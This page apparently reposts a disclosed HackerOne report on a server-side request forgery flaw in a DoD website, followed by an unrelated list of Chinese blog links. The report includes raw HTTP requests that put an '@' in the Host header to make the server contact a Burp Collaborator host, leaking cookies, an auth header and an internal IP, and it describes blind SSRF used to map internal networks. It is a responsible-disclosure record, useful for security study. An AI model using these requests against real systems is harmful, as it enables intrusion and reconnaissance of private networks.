hackone ssrf
Jan 29th (2 years ago)
Summary:
A server side request forgery vulnerability appears to leak an internal IP address and tries to connect to an attacker controlled host.
Description:
In an normal request on this web pageGET /HTTP/1.1It will connect to the website as expected but if we use a @ on the host header like this
Host: www.████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG; googtrans=/en/zh-TW
Connection: close
Upgrade-Insecure-Requests: 1
GET / HTTP/1.1
Host: www.█████████:80@██████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
It'll attempt to connect to our website and leak various information.
On our server we would see this,
GET / HTTP/1.1
Host: ████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG
X--------------: 1.1.1.1
Accept-Encoding: gzip, deflate, identity
Connection: Keep-Alive
Authorization: Basic d3d3LnZpLm5nYi5hcm15Lm1pbDo4MA==
X-BlueCoat-Via: 913daace1d652c00
Additionally we will see a DNS look up from this IP, 214.72.0.2 Which I confirmed to be DOD owned
Impact
Medium
Step-by-step Reproduction Instructions
We can reproduce this simply using www.████:80@yourhostname.com for the host header and we'll the see the results. As seen below
GET / HTTP/1.1
Host: www.████:80@yourwebsite.com
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
If you have burp suite pro, you can do this easily with burp collaborator
Product, Version, and Configuration (If applicable)
N/a
Suggested Mitigation/Remediation Actions
Refuse attempts to connect to other hosts.
Impact
This will allow attackers to gain access to an internal IP of a DOD website along with other sensitive information that may be leaked with the request

Jan 29th (2 years ago)
Greetings from the Department of Defense (DoD),
Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).
By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.
The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.
We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.
Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.
Regards,
The VDP Team
Updated Feb 7th (2 years ago)
Greetings @alyssa_herrera,
To validate the reported vulnerability, we require additional information.
Can you please answer the following questions?
Which information do you deem sensitive? Also please provide screenshot(s) or screen recording to illustrate the issue so we can clearly understand the issue you are reporting.
I will continue processing your report on receipt of your response. You will receive another status update upon completion of this review. If I have any other questions in the interim, I will be back in touch.
If we do not receive a response within two weeks, we will send you a second request for this information. If we do not receive a response from you within two weeks of the second notice, we will have to close this report without action.
If you have any questions, please let me know.
Thanks again for supporting the DoD Vulnerability Disclosure Program.
Regards,
Updated Oct 11th (2 months ago)
This is quite similar to #277450 and with the same issue.
Whois for both ip's
Source: whois.arin.net
IP Address: ██████
Name: ███
Handle: ███████
Registration Date: █████
Range: ████
Org: ████████
Org Handle: ███
Address: ██████
City: ████████
State/Province: ████
Postal Code: █████
Country: United States
Name Servers:
Source: whois.arin.net
IP Address: █████
Name: ███
Handle: ███
Registration Date: █████
Range: ████
Org: Headquarters, █████████
Org Handle: ████████
Address: ████
City: ███
State/Province: ███████
Postal Code: █████
Country: United States
Name Servers:
Feb 7th (2 years ago)
Greetings,
We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.
Thank you for bringing this vulnerability to our attention!
We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.
You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.
Thanks again for supporting the DoD Vulnerability Disclosure Program.
Regards,
The VDP Team
Updated Oct 11th (2 months ago)
Hello, i'd like to give a bit of an update on this exploit. I figured out we can perform blind SSRF using this exploit.
If we use an https enabled website, We can trigger an SSL error which leads me to believe this website has the necessary capability to connect to other military websites either through the intranet or through clearnet. If we can query known military DNS it'll time out confirming it exists. I can do this with any DoD IP thus an attacker can enumerate the DoD internal infrastructure. I hope this is enough to bump the severity up a bit. Additionally We can use an IP I was able to pull from another report of mine to prove this theory,
If we use www.██████████:80@████████
We can use this to tunnel into internal networks and access intranet servers which I assume is accessible to NIPERNET if my understanding of the DoD intranet is correct

Oct 24th (about 1 year ago)
Good news!
The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.
Thank you for your time and effort to improve the security of the DoD information network.
Regards,
The VDP Team

Dec 3rd (2 days ago)
Approved for disclosure. Thanks for your participation in the DoD Vulnerability Disclosure Program (VDP). Please follow us on Twitter @DC3VDP
hackone ssrf的更多相关文章
- SSRF篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.( ...
- SSRF安全威胁在JAVA代码中的应用
如上图所示代码,在进行外部url调用的时候,引入了SSRF检测:ssrfChecker.checkUrlWithoutConnection(url)机制. SSRF安全威胁: 很多web应用都提供 ...
- web安全之ssrf
ssrf(服务器端请求伪造)原理: 攻击者构造形成由服务端发起请求的一个漏洞.把服务端当作跳板来攻击其他服务,SSRF的攻击目标一般是外网无法访问到的内网 当服务端提供了从其他服务器获取数据的功能(如 ...
- SSRF攻击实例解析
ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...
- WebLogic SSRF 漏洞 (简要翻译)
[Ref]http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cv ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- SSRF漏洞总结
SSRF漏洞:(服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而 ...
- 浅谈SSRF漏洞
SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF是要目标网站 ...
- Discuz!另一处SSRF无须登陆无须条件
漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151179.html 看看poc:http://phpstudy.com/Discuz_ ...
随机推荐
- golang教程汇总
A Tour of Go Go编程基础 Go 语言圣经 中文版
- 高精度封装Bignum
还没有写完,目前只实现了加,乘,且不能作用于负数 \(update\ in 20.4.8 添加了高精除低精ddiv函数,比较大小comp函数\) #include <bits/stdc++.h& ...
- Node.js中模块加载机制
1.模块查找规则-当模块拥有路径但没有后缀时:(require(‘./find’)) require方法根据模块路径查找模块,如果是完整路径,直接引入模块: 如果模块后缀省略,先找同名JS文件,再找同 ...
- .NET Attribute在数据校验上的应用
Attribute(特性)的概念不在此赘述了,相信有点.NET基础的开发人员都明白,用过Attribute的人也不在少数,毕竟很多框架都提供自定义的属性,类似于Newtonsoft.JSON中Json ...
- 1.Spring 框架概述
目录 Spring 框架概述 1 我们所说的 "Spring "是什么意思 2. Spring和Spring框架的历史 3. 设计理念 4.反馈和贡献 5.开始使用 Spring ...
- 6、保持会话(save)
前言 为什么要保存会话呢?举个很简单的场景,你在上海测试某个功能接口的时候,发现了一个BUG,而开发这个接口的开发人员是北京的一家合作公司.你这时候给对方开发提bug, 如何显得专业一点,能让对方心服 ...
- onmouseenter,onmouseleave,onmouseover,onmouseout的区别
首先,这四个事件两两配对使用,onmouseenter.onmouseleave一对,onmouseover.onmouseout一对,不能混合使用. onmouseenter 和 onmousele ...
- OpenCv 学习安装(一)
1.opencv版本:opencv-3.4.2-vc14_vc15.exe2.设置环境变量path: E:\opencv\opencv\build\x64\vc14\bin3.用VS2015新建一个w ...
- 相机测试camera报告的问题
AE问题 整体偏亮 整体偏暗 高光过爆 暗处过暗 对比度低/高 亮度: 关注暗处过暗 高光过爆 对比度: 关注头发,衣服 对比度低照片会有好像一层薄薄的,发蒙 关注植物,会有灰色的 AWB问题 偏 ...
- vue父子组件之间相互传值
1. 子组件使用父组件方法,并向父组件传值 子组件代码 <template> <div class="menu"> <div class=" ...